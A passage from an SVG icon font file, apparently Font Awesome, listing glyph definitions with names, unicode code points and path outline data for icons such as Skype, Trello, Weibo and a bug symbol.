t-14 -48q3 -17 37 -26q20 -6 84.5 -18.5t99.5 -20.5q24 -6 74 -22t82.5 -23t55.5 -4q43 6 64.5 28t23 48t-7.5 58.5t-19 52t-20 36.5q-121 190 -169 242q-68 74 -113 40q-11 -9 -15 15q-3 16 -2 38q1 29 10 52t24 47t22 42q8 21 26.5 72t29.5 78t30 61t39 54
q110 143 124 195q-12 112 -16 310q-2 90 24 151.5t106 104.5q39 21 104 21q53 1 106 -13.5t89 -41.5q57 -42 91.5 -121.5t29.5 -147.5q-5 -95 30 -214q34 -113 133 -218q55 -59 99.5 -163t59.5 -191q8 -49 5 -84.5t-12 -55.5t-20 -22q-10 -2 -23.5 -19t-27 -35.5
t-40.5 -33.5t-61 -14q-18 1 -31.5 5t-22.5 13.5t-13.5 15.5t-11.5 20.5t-9 19.5q-22 37 -41 30t-28 -49t7 -97q20 -70 1 -195q-10 -65 18 -100.5t73 -33t85 35.5q59 49 89.5 66.5t103.5 42.5q53 18 77 36.5t18.5 34.5t-25 28.5t-51.5 23.5q-33 11 -49.5 48t-15 72.5
t15.5 47.5q1 -31 8 -56.5t14.5 -40.5t20.5 -28.5t21 -19t21.5 -13t16.5 -9.5z" />
    <glyph glyph-name="dribble" unicode="&#xf17d;" 
d="M1024 36q-42 241 -140 498h-2l-2 -1q-16 -6 -43 -16.5t-101 -49t-137 -82t-131 -114.5t-103 -148l-15 11q184 -150 418 -150q132 0 256 52zM839 643q-21 49 -53 111q-311 -93 -673 -93q-1 -7 -1 -21q0 -124 44 -236.5t124 -201.5q50 89 123.5 166.5t142.5 124.5t130.5 81
t99.5 48l37 13q4 1 13 3.5t13 4.5zM732 855q-120 213 -244 378q-138 -65 -234 -186t-128 -272q302 0 606 80zM1416 536q-210 60 -409 29q87 -239 128 -469q111 75 185 189.5t96 250.5zM611 1277q-1 0 -2 -1q1 1 2 1zM1201 1132q-185 164 -433 164q-76 0 -155 -19
q131 -170 246 -382q69 26 130 60.5t96.5 61.5t65.5 57t37.5 40.5zM1424 647q-3 232 -149 410l-1 -1q-9 -12 -19 -24.5t-43.5 -44.5t-71 -60.5t-100 -65t-131.5 -64.5q25 -53 44 -95q2 -5 6.5 -17t7.5 -17q36 5 74.5 7t73.5 2t69 -1.5t64 -4t56.5 -5.5t48 -6.5t36.5 -6
t25 -4.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="skype" unicode="&#xf17e;" 
d="M1173 473q0 50 -19.5 91.5t-48.5 68.5t-73 49t-82.5 34t-87.5 23l-104 24q-30 7 -44 10.5t-35 11.5t-30 16t-16.5 21t-7.5 30q0 77 144 77q43 0 77 -12t54 -28.5t38 -33.5t40 -29t48 -12q47 0 75.5 32t28.5 77q0 55 -56 99.5t-142 67.5t-182 23q-68 0 -132 -15.5
t-119.5 -47t-89 -87t-33.5 -128.5q0 -61 19 -106.5t56 -75.5t80 -48.5t103 -32.5l146 -36q90 -22 112 -36q32 -20 32 -60q0 -39 -40 -64.5t-105 -25.5q-51 0 -91.5 16t-65 38.5t-45.5 45t-46 38.5t-54 16q-50 0 -75.5 -30t-25.5 -75q0 -92 122 -157.5t291 -65.5
q73 0 140 18.5t122.5 53.5t88.5 93.5t33 131.5zM1536 256q0 -159 -112.5 -271.5t-271.5 -112.5q-130 0 -234 80q-77 -16 -150 -16q-143 0 -273.5 55.5t-225 150t-150 225t-55.5 273.5q0 73 16 150q-80 104 -80 234q0 159 112.5 271.5t271.5 112.5q130 0 234 -80
q77 16 150 16q143 0 273.5 -55.5t225 -150t150 -225t55.5 -273.5q0 -73 -16 -150q80 -104 80 -234z" />
    <glyph glyph-name="foursquare" unicode="&#xf180;" horiz-adv-x="1280" 
d="M1000 1102l37 194q5 23 -9 40t-35 17h-712q-23 0 -38.5 -17t-15.5 -37v-1101q0 -7 6 -1l291 352q23 26 38 33.5t48 7.5h239q22 0 37 14.5t18 29.5q24 130 37 191q4 21 -11.5 40t-36.5 19h-294q-29 0 -48 19t-19 48v42q0 29 19 47.5t48 18.5h346q18 0 35 13.5t20 29.5z
M1227 1324q-15 -73 -53.5 -266.5t-69.5 -350t-35 -173.5q-6 -22 -9 -32.5t-14 -32.5t-24.5 -33t-38.5 -21t-58 -10h-271q-13 0 -22 -10q-8 -9 -426 -494q-22 -25 -58.5 -28.5t-48.5 5.5q-55 22 -55 98v1410q0 55 38 102.5t120 47.5h888q95 0 127 -53t10 -159zM1227 1324
l-158 -790q4 17 35 173.5t69.5 350t53.5 266.5z" />
    <glyph glyph-name="trello" unicode="&#xf181;" 
d="M704 192v1024q0 14 -9 23t-23 9h-480q-14 0 -23 -9t-9 -23v-1024q0 -14 9 -23t23 -9h480q14 0 23 9t9 23zM1376 576v640q0 14 -9 23t-23 9h-480q-14 0 -23 -9t-9 -23v-640q0 -14 9 -23t23 -9h480q14 0 23 9t9 23zM1536 1344v-1408q0 -26 -19 -45t-45 -19h-1408
q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h1408q26 0 45 -19t19 -45z" />
    <glyph glyph-name="female" unicode="&#xf182;" horiz-adv-x="1280" 
d="M1280 480q0 -40 -28 -68t-68 -28q-51 0 -80 43l-227 341h-45v-132l247 -411q9 -15 9 -33q0 -26 -19 -45t-45 -19h-192v-272q0 -46 -33 -79t-79 -33h-160q-46 0 -79 33t-33 79v272h-192q-26 0 -45 19t-19 45q0 18 9 33l247 411v132h-45l-227 -341q-29 -43 -80 -43
q-40 0 -68 28t-28 68q0 29 16 53l256 384q73 107 176 107h384q103 0 176 -107l256 -384q16 -24 16 -53zM864 1280q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5z" />
    <glyph glyph-name="male" unicode="&#xf183;" horiz-adv-x="1024" 
d="M1024 832v-416q0 -40 -28 -68t-68 -28t-68 28t-28 68v352h-64v-912q0 -46 -33 -79t-79 -33t-79 33t-33 79v464h-64v-464q0 -46 -33 -79t-79 -33t-79 33t-33 79v912h-64v-352q0 -40 -28 -68t-68 -28t-68 28t-28 68v416q0 80 56 136t136 56h640q80 0 136 -56t56 -136z
M736 1280q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5z" />
    <glyph glyph-name="gittip" unicode="&#xf184;" 
d="M773 234l350 473q16 22 24.5 59t-6 85t-61.5 79q-40 26 -83 25.5t-73.5 -17.5t-54.5 -45q-36 -40 -96 -40q-59 0 -95 40q-24 28 -54.5 45t-73.5 17.5t-84 -25.5q-46 -31 -60.5 -79t-6 -85t24.5 -59zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103
t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="sun" unicode="&#xf185;" horiz-adv-x="1792" 
d="M1472 640q0 117 -45.5 223.5t-123 184t-184 123t-223.5 45.5t-223.5 -45.5t-184 -123t-123 -184t-45.5 -223.5t45.5 -223.5t123 -184t184 -123t223.5 -45.5t223.5 45.5t184 123t123 184t45.5 223.5zM1748 363q-4 -15 -20 -20l-292 -96v-306q0 -16 -13 -26q-15 -10 -29 -4
l-292 94l-180 -248q-10 -13 -26 -13t-26 13l-180 248l-292 -94q-14 -6 -29 4q-13 10 -13 26v306l-292 96q-16 5 -20 20q-5 17 4 29l180 248l-180 248q-9 13 -4 29q4 15 20 20l292 96v306q0 16 13 26q15 10 29 4l292 -94l180 248q9 12 26 12t26 -12l180 -248l292 94
q14 6 29 -4q13 -10 13 -26v-306l292 -96q16 -5 20 -20q5 -16 -4 -29l-180 -248l180 -248q9 -12 4 -29z" />
    <glyph glyph-name="_366" unicode="&#xf186;" 
d="M1262 233q-54 -9 -110 -9q-182 0 -337 90t-245 245t-90 337q0 192 104 357q-201 -60 -328.5 -229t-127.5 -384q0 -130 51 -248.5t136.5 -204t204 -136.5t248.5 -51q144 0 273.5 61.5t220.5 171.5zM1465 318q-94 -203 -283.5 -324.5t-413.5 -121.5q-156 0 -298 61
t-245 164t-164 245t-61 298q0 153 57.5 292.5t156 241.5t235.5 164.5t290 68.5q44 2 61 -39q18 -41 -15 -72q-86 -78 -131.5 -181.5t-45.5 -218.5q0 -148 73 -273t198 -198t273 -73q118 0 228 51q41 18 72 -13q14 -14 17.5 -34t-4.5 -38z" />
    <glyph glyph-name="archive" unicode="&#xf187;" horiz-adv-x="1792" 
d="M1088 704q0 26 -19 45t-45 19h-256q-26 0 -45 -19t-19 -45t19 -45t45 -19h256q26 0 45 19t19 45zM1664 896v-960q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v960q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1728 1344v-256q0 -26 -19 -45t-45 -19h-1536
q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1536q26 0 45 -19t19 -45z" />
    <glyph glyph-name="bug" unicode="&#xf188;" horiz-adv-x="1664" 
d="M1632 576q0 -26 -19 -45t-45 -19h-224q0 -171 -67 -290l208 -209q19 -19 19 -45t-19 -45q-18 -19 -45 -19t-45 19l-198 197q-5 -5 -15 -13t-42 -28.5t-65 -36.5t-82 -29t-97 -13v896h-128v-896q-51 0 -101.5 13.5t-87 33t-66 39t-43.5 32.5l-15 14l-183 -207
q-20 -21 -48 -21q-24 0 -43 16q-19 18 -20.5 44.5t15.5 46.5l202 227q-58 114 -58 274h-224q-26 0 -45 19t-19 45t19 45t45 19h224v294l-173 173q-19 19 -19 45t19 45t45 19t45 -19l173 -173h844l173 173q19 19 45 19t45 -19t19 -45t-19 -45l-173 -173v-294h224q26 0 45 -19
t19 -45zM1152 1152h-640q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5z" />
    <glyph glyph-name="vk" unicode="&#xf189;" horiz-adv-x="1920" 
d="M1917 1016q23 -64 -150 -294q-24 -32 -65 -85q-40 -51 -55 -72t-30.5 -49.5t-12 -42t13 -34.5t32.5 -43t57 -53q4 -2 5 -4q141 -131 191 -221q3 -5 6.5 -12.5t7 -26.5t-0.5 -34t-25 -27.5t-59 -12.5l-256 -4q-24 -5 -56 5t-52 22l-20 12q-30 21 -70 64t-68.5 77.5t-61 58
t-56.5 15.5q-3 -1 -8 -3.5t-17 -14.5t-21.5 -29.5t-17 -52t-6.5 -77.5q0 -15 -3.5 -27.5t-7.5 -18.5l-4 -5q-18 -19 -53 -22h-115q-71 -4 -146 16.5t-131.5 53t-103 66t-70.5 57.5l-25 24q-10 10 -27.5 30t-71.5 91t-106 151t-122.5 211t-130.5 272q-6 16 -6 27t3 16l4 6
q15 19 57 19l274 2q12 -2 23 -6.5t16 -8.5l5 -3q16 -11 24 -32q20 -50 46 -103.5t41 -81.5l16 -29q29 -60 56 -104t48.5 -68.5t41.5 -38.5t34 -14t27 5q2 1 5 5t12 22t13.5 47t9.5 81t0 125q-2 40 -9 73t-14 46l-6 12q-25 34 -85 43q-13 2 5 24q16 19 38 30q53 26 239 24
q82 -1 135 -13q20 -5 33.5 -13.5t20.5 -24t10.5 -32t3.5 -45.5t-1 -55t-2.5 -70.5t-1.5 -82.5q0 -11 -1 -42t-0.5 -48t3.5 -40.5t11.5 -39t22.5 -24.5q8 -2 17 -4t26 11t38 34.5t52 67t68 107.5q60 104 107 225q4 10 10 17.5t11 10.5l4 3l5 2.5t13 3t20 0.5l288 2
q39 5 64 -2.5t31 -16.5z" />
    <glyph glyph-name="weibo" unicode="&#xf18a;" horiz-adv-x="1792" 
d="M675 252q21 34 11 69t-45 50q-34 14 -73 1t-60 -46q-22 -34 -13 -68.5t43 -50.5t74.5 -2.5t62.5 47.5zM769 373q8 13 3.5 26.5t-17.5 18.5q-14 5 -28.5 -0.5t-21.5 -18.5q-17 -31 13 -45q14 -5 29 0.5t22 18.5zM943 266q-45 -102 -158 -150t-224 -12
q-107 34 -147.5 126.5t6.5 187.5q47 93 151.5 139t210.5 19q111 -29 158.5 -119.5t2.5 -190.5zM1255 426q-9 96 -89 170t-208.5 109t-274.5 21q-223 -23 -369.5 -141.5t-132.5 -264.5q9 -96 89 -170t208.5 -109t274.5 -21q223 23 369.5 141.5t132.5 264.5zM1563 422
q0 -68 -37 -139.5t-109 -137t-168.5 -117.5t-226 -83t-270.5 -31t-275 33.5t-240.5 93t-171.5 151t-65 199.5q0 115 69.5 245t197.5 258q169 169 341.5 236t246.5 -7q65 -64 20 -209q-4 -14 -1 -20t10 -7t14.5 0.5t13.5 3.5l6 2q139 59 246 59t153 -61q45 -63 0 -178
q-2 -13 -4.5 -20t4.5 -12.5t12 -7.5t17 -6q57 -18 103 -47t80 -81.5t34 -116.5zM1489 1046q42 -47 54.5 -108.5t-6.5 -117.5q-8 -23 -29.5 -34t-44.5 -4q-23 8 -34 29.5t-4 44.5q20 63 -24 111t-107 35q-24 -5 -45 8t-25 37q-5 24 8 44.5t37 25.5q60 13 119 -5.5t101 -65.5z
M1670 1209q87 -96 112.5 -222.5t-13.5 -241.5q-9 -27 -34 -40t-52 -4t-40 34t-5 52q28 82 10 172t-80 158q-62 69 -148 95.5t-173 8.5q-28 -6 -52 9.5t-30 43.5t9.5 51.5t43.5 29.5q123 26 244 -11.5t208 -134.5z" />
    <glyph glyph-name="renren" unicode="&#xf18b;" 
d="M1133 -34q-171 -94 -368 -94q-196 0 -367 94q138 87 235.5 211t131.5 268q35 -144 132.5 -268t235.5 -211zM638 1394v-485q0 -252 -126.5 -459.5t-330.5 -306.5q-181 215 -181 495q0 187 83.5 349.5t229.5 269.5t325 137zM1536 638q0 -280 -181 -495
q-204 99 -330.5 306.5t-126.5 459.5v485q179 -30 325 -137t229.5 -269.5t83.5 -349.5z" />
    <glyph glyph-name="_372" unicode="&#xf18c;" horiz-adv-x="1408" 
d="M1402 433q-32 -80 -76 -138t-91 -88.5t-99 -46.5t-101.5 -14.5t-96.5 8.5t-86.5 22t-69.5 27.5t-46 22.5l-17 10q-113 -228 -289.5 -359.5t-384.5 -132.5q-19 0 -32 13t-13 32t13 31.5t32 12.5q173 1 322.5 107.5t251.5 294.5q-36 -14 -72 -23t-83 -13t-91 2.5t-93 28.5
t-92 59t-84.5 100t-74.5 146q114 47 214 57t167.5 -7.5t124.5 -56.5t88.5 -77t56.5 -82q53 131 79 291q-7 -1 -18 -2.5t-46.5 -2.5t-69.5 0.5t-81.5 10t-88.5 23t-84 42.5t-75 65t-54.5 94.5t-28.5 127.5q70 28 133.5 36.5t112.5 -1t92 -30t73.5 -50t56 -61t42 -63t27.5 -56
t16 -39.5l4 -16q12 122 12 195q-8 6 -21.5 16t-49 44.5t-63.5 71.5t-54 93t-33 112.5t12 127t70 138.5q73 -25 127.5 -61.5t84.5 -76.5t48 -85t20.5 -89t-0.5 -85.5t-13 -76.5t-19 -62t-17 -42l-7 -15q1 -4 1 -50t-1 -72q3 7 10 18.5t30.5 43t50.5 58t71 55.5t91.5 44.5
t112 14.5t132.5 -24q-2 -78 -21.5 -141.5t-50 -104.5t-69.5 -71.5t-81.5 -45.5t-84.5 -24t-80 -9.5t-67.5 1t-46.5 4.5l-17 3q-23 -147 -73 -283q6 7 18 18.5t49.5 41t77.5 52.5t99.5 42t117.5 20t129 -23.5t137 -77.5z" />
    <glyph glyph-name="stack_exchange" unicode="&#xf18d;" horiz-adv-x="1280" 
d="M1259 283v-66q0 -85 -57.5 -144.5t-138.5 -59.5h-57l-260 -269v269h-529q-81 0 -138.5 59.5t-57.5 144.5v66h1238zM1259 609v-255h-1238v255h1238zM1259 937v-255h-1238v255h1238zM1259 1077v-67h-1238v67q0 84 57.5 143.5t138.5 59.5h846q81 0 138.5 -59.5t57.5 -143.5z
" />
    <glyph glyph-name="_374" unicode="&#xf18e;" 
d="M1152 640q0 -14 -9 -23l-320 -320q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5v192h-352q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h352v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198
t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="arrow_circle_alt_left" unicode="&#xf190;" 
d="M1152 736v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-352v-192q0 -14 -9 -23t-23 -9q-12 0 -24 10l-319 319q-9 9 -9 23t9 23l320 320q9 9 23 9q13 0 22.5 -9.5t9.5 -22.5v-192h352q13 0 22.5 -9.5t9.5 -22.5zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198
t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_376" unicode="&#xf191;" 
d="M1024 960v-640q0 -26 -19 -45t-45 -19q-20 0 -37 12l-448 320q-27 19 -27 52t27 52l448 320q17 12 37 12q26 0 45 -19t19 -45zM1280 160v960q0 13 -9.5 22.5t-22.5 9.5h-960q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h960q13 0 22.5 9.5t9.5 22.5z
M1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="dot_circle_alt" unicode="&#xf192;" 
d="M1024 640q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181zM768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5
t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_378" unicode="&#xf193;" horiz-adv-x="1664" 
d="M1023 349l102 -204q-58 -179 -210 -290t-339 -111q-156 0 -288.5 77.5t-210 210t-77.5 288.5q0 181 104.5 330t274.5 211l17 -131q-122 -54 -195 -165.5t-73 -244.5q0 -185 131.5 -316.5t316.5 -131.5q126 0 232.5 65t165 175.5t49.5 236.5zM1571 249l58 -114l-256 -128
q-13 -7 -29 -7q-40 0 -57 35l-239 477h-472q-24 0 -42.5 16.5t-21.5 40.5l-96 779q-2 17 6 42q14 51 57 82.5t97 31.5q66 0 113 -47t47 -113q0 -69 -52 -117.5t-120 -41.5l37 -289h423v-128h-407l16 -128h455q40 0 57 -35l228 -455z" />
    <glyph glyph-name="vimeo_square" unicode="&#xf194;" 
d="M1292 898q10 216 -161 222q-231 8 -312 -261q44 19 82 19q85 0 74 -96q-4 -57 -74 -167t-105 -110q-43 0 -82 169q-13 54 -45 255q-30 189 -160 177q-59 -7 -164 -100l-81 -72l-81 -72l52 -67q76 52 87 52q57 0 107 -179q15 -55 45 -164.5t45 -164.5q68 -179 164 -179
q157 0 383 294q220 283 226 444zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_380" unicode="&#xf195;" horiz-adv-x="1152" 
d="M1152 704q0 -191 -94.5 -353t-256.5 -256.5t-353 -94.5h-160q-14 0 -23 9t-9 23v611l-215 -66q-3 -1 -9 -1q-10 0 -19 6q-13 10 -13 26v128q0 23 23 31l233 71v93l-215 -66q-3 -1 -9 -1q-10 0 -19 6q-13 10 -13 26v128q0 23 23 31l233 71v250q0 14 9 23t23 9h160
q14 0 23 -9t9 -23v-181l375 116q15 5 28 -5t13 -26v-128q0 -23 -23 -31l-393 -121v-93l375 116q15 5 28 -5t13 -26v-128q0 -23 -23 -31l-393 -121v-487q188 13 318 151t130 328q0 14 9 23t23 9h160q14 0 23 -9t9 -23z" />
    <glyph glyph-name="plus_square_o" unicode="&#xf196;" horiz-adv-x="1408" 
d="M1152 736v-64q0 -14 -9 -23t-23 -9h-352v-352q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v352h-352q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h352v352q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-352h352q14 0 23 -9t9 -23zM1280 288v832q0 66 -47 113t-113 47h-832
q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113zM1408 1120v-832q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_382" unicode="&#xf197;" horiz-adv-x="2176" 
d="M620 416q-110 -64 -268 -64h-128v64h-64q-13 0 -22.5 23.5t-9.5 56.5q0 24 7 49q-58 2 -96.5 10.5t-38.5 20.5t38.5 20.5t96.5 10.5q-7 25 -7 49q0 33 9.5 56.5t22.5 23.5h64v64h128q158 0 268 -64h1113q42 -7 106.5 -18t80.5 -14q89 -15 150 -40.5t83.5 -47.5t22.5 -40
t-22.5 -40t-83.5 -47.5t-150 -40.5q-16 -3 -80.5 -14t-106.5 -18h-1113zM1739 668q53 -36 53 -92t-53 -92l81 -30q68 48 68 122t-68 122zM625 400h1015q-217 -38 -456 -80q-57 0 -113 -24t-83 -48l-28 -24l-288 -288q-26 -26 -70.5 -45t-89.5 -19h-96l-93 464h29
q157 0 273 64zM352 816h-29l93 464h96q46 0 90 -19t70 -45l288 -288q4 -4 11 -10.5t30.5 -23t48.5 -29t61.5 -23t72.5 -10.5l456 -80h-1015q-116 64 -273 64z" />
    <glyph glyph-name="_383" unicode="&#xf198;" horiz-adv-x="1664" 
d="M1519 760q62 0 103.5 -40.5t41.5 -101.5q0 -97 -93 -130l-172 -59l56 -167q7 -21 7 -47q0 -59 -42 -102t-101 -43q-47 0 -85.5 27t-53.5 72l-55 165l-310 -106l55 -164q8 -24 8 -47q0 -59 -42 -102t-102 -43q-47 0 -85 27t-53 72l-55 163l-153 -53q-29 -9 -50 -9
q-61 0 -101.5 40t-40.5 101q0 47 27.5 85t71.5 53l156 53l-105 313l-156 -54q-26 -8 -48 -8q-60 0 -101 40.5t-41 100.5q0 47 27.5 85t71.5 53l157 53l-53 159q-8 24 -8 47q0 60 42 102.5t102 42.5q47 0 85 -27t53 -72l54 -160l310 105l-54 160q-8 24 -8 47q0 59 42.5 102
t101.5 43q47 0 85.5 -27.5t53.5 -71.5l53 -161l162 55q21 6 43 6q60 0 102.5 -39.5t42.5 -98.5q0 -45 -30 -81.5t-74 -51.5l-157 -54l105 -316l164 56q24 8 46 8zM725 498l310 105l-105 315l-310 -107z" />
    <glyph glyph-name="_384" unicode="&#xf199;" 
d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960zM1280 352v436q-31 -35 -64 -55q-34 -22 -132.5 -85t-151.5 -99q-98 -69 -164 -69v0v0q-66 0 -164 69
q-47 32 -142 92.5t-142 92.5q-12 8 -33 27t-31 27v-436q0 -40 28 -68t68 -28h832q40 0 68 28t28 68zM1280 925q0 41 -27.5 70t-68.5 29h-832q-40 0 -68 -28t-28 -68q0 -37 30.5 -76.5t67.5 -64.5q47 -32 137.5 -89t129.5 -83q3 -2 17 -11.5t21 -14t21 -13t23.5 -13
t21.5 -9.5t22.5 -7.5t20.5 -2.5t20.5 2.5t22.5 7.5t21.5 9.5t23.5 13t21 13t21 14t17 11.5l267 174q35 23 66.5 62.5t31.5 73.5z" />
    <glyph glyph-name="_385" unicode="&#xf19a;" horiz-adv-x="1792" 
d="M127 640q0 163 67 313l367 -1005q-196 95 -315 281t-119 411zM1415 679q0 -19 -2.5 -38.5t-10 -49.5t-11.5 -44t-17.5 -59t-17.5 -58l-76 -256l-278 826q46 3 88 8q19 2 26 18.5t-2.5 31t-28.5 13.5l-205 -10q-75 1 -202 10q-12 1 -20.5 -5t-11.5 -15t-1.5 -18.5t9 -16.5
t19.5 -8l80 -8l120 -328l-168 -504l-280 832q46 3 88 8q19 2 26 18.5t-2.5 31t-28.5 13.5l-205 -10q-7 0 -23 0.5t-26 0.5q105 160 274.5 253.5t367.5 93.5q147 0 280.5 -53t238.5 -149h-10q-55 0 -92 -40.5t-37 -95.5q0 -12 2 -24t4 -21.5t8 -23t9 -21t12 -22.5t12.5 -21
t14.5 -24t14 -23q63 -107 63 -212zM909 573l237 -647q1 -6 5 -11q-126 -44 -255 -44q-112 0 -217 32zM1570 1009q95 -174 95 -369q0 -209 -104 -385.5t-279 -278.5l235 678q59 169 59 276q0 42 -6 79zM896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286
t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71zM896 -215q173 0 331.5 68t273 182.5t182.5 273t68 331.5t-68 331.5t-182.5 273t-273 182.5t-331.5 68t-331.5 -68t-273 -182.5t-182.5 -273t-68 -331.5t68 -331.5t182.5 -273
t273 -182.5t331.5 -68z" />
    <glyph glyph-name="_386" unicode="&#xf19b;" horiz-adv-x="1792" 
d="M1086 1536v-1536l-272 -128q-228 20 -414 102t-293 208.5t-107 272.5q0 140 100.5 263.5t275 205.5t391.5 108v-172q-217 -38 -356.5 -150t-139.5 -255q0 -152 154.5 -267t388.5 -145v1360zM1755 954l37 -390l-525 114l147 83q-119 70 -280 99v172q277 -33 481 -157z" />
    <glyph glyph-name="_387" unicode="&#xf19c;" horiz-adv-x="2048" 
d="M960 1536l960 -384v-128h-128q0 -26 -20.5 -45t-48.5 -19h-1526q-28 0 -48.5 19t-20.5 45h-128v128zM256 896h256v-768h128v768h256v-768h128v768h256v-768h128v768h256v-768h59q28 0 48.5 -19t20.5 -45v-64h-1664v64q0 26 20.5 45t48.5 19h59v768zM1851 -64
q28 0 48.5 -19t20.5 -45v-128h-1920v128q0 26 20.5 45t48.5 19h1782z" />
    <glyph glyph-name="_388" unicode="&#xf19d;" horiz-adv-x="2304" 
d="M1774 700l18 -316q4 -69 -82 -128t-235 -93.5t-323 -34.5t-323 34.5t-235 93.5t-82 128l18 316l574 -181q22 -7 48 -7t48 7zM2304 1024q0 -23 -22 -31l-1120 -352q-4 -1 -10 -1t-10 1l-652 206q-43 -34 -71 -111.5t-34 -178.5q63 -36 63 -109q0 -69 -58 -107l58 -433
q2 -14 -8 -25q-9 -11 -24 -11h-192q-15 0 -24 11q-10 11 -8 25l58 433q-58 38 -58 107q0 73 65 111q11 207 98 330l-333 104q-22 8 -22 31t22 31l1120 352q4 1 10 1t10 -1l1120 -352q22 -8 22 -31z" />
    <glyph glyph-name="_389" unicode="&#xf19e;" 
d="M859 579l13 -707q-62 11 -105 11q-41 0 -105 -11l13 707q-40 69 -168.5 295.5t-216.5 374.5t-181 287q58 -15 108 -15q44 0 111 15q63 -111 133.5 -229.5t167 -276.5t138.5 -227q37 61 109.5 177.5t117.5 190t105 176t107 189.5q54 -14 107 -14q56 0 114 14v0
q-28 -39 -60 -88.5t-49.5 -78.5t-56.5 -96t-49 -84q-146 -248 -353 -610z" />
    <glyph glyph-name="uniF1A0" unicode="&#xf1a0;" 
d="M768 750h725q12 -67 12 -128q0 -217 -91 -387.5t-259.5 -266.5t-386.5 -96q-157 0 -299 60.5t-245 163.5t-163.5 245t-60.5 299t60.5 299t163.5 245t245 163.5t299 60.5q300 0 515 -201l-209 -201q-123 119 -306 119q-129 0 -238.5 -65t-173.5 -176.5t-64 -243.5
t64 -243.5t173.5 -176.5t238.5 -65q87 0 160 24t120 60t82 82t51.5 87t22.5 78h-436v264z" />
    <glyph glyph-name="f1a1" unicode="&#xf1a1;" horiz-adv-x="1792" 
d="M1095 369q16 -16 0 -31q-62 -62 -199 -62t-199 62q-16 15 0 31q6 6 15 6t15 -6q48 -49 169 -49q120 0 169 49q6 6 15 6t15 -6zM788 550q0 -37 -26 -63t-63 -26t-63.5 26t-26.5 63q0 38 26.5 64t63.5 26t63 -26.5t26 -63.5zM1183 550q0 -37 -26.5 -63t-63.5 -26t-63 26
t-26 63t26 63.5t63 26.5t63.5 -26t26.5 -64zM1434 670q0 49 -35 84t-85 35t-86 -36q-130 90 -311 96l63 283l200 -45q0 -37 26 -63t63 -26t63.5 26.5t26.5 63.5t-26.5 63.5t-63.5 26.5q-54 0 -80 -50l-221 49q-19 5 -25 -16l-69 -312q-180 -7 -309 -97q-35 37 -87 37
q-50 0 -85 -35t-35 -84q0 -35 18.5 -64t49.5 -44q-6 -27 -6 -56q0 -142 140 -243t337 -101q198 0 338 101t140 243q0 32 -7 57q30 15 48 43.5t18 63.5zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191
t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="_392" unicode="&#xf1a2;" 
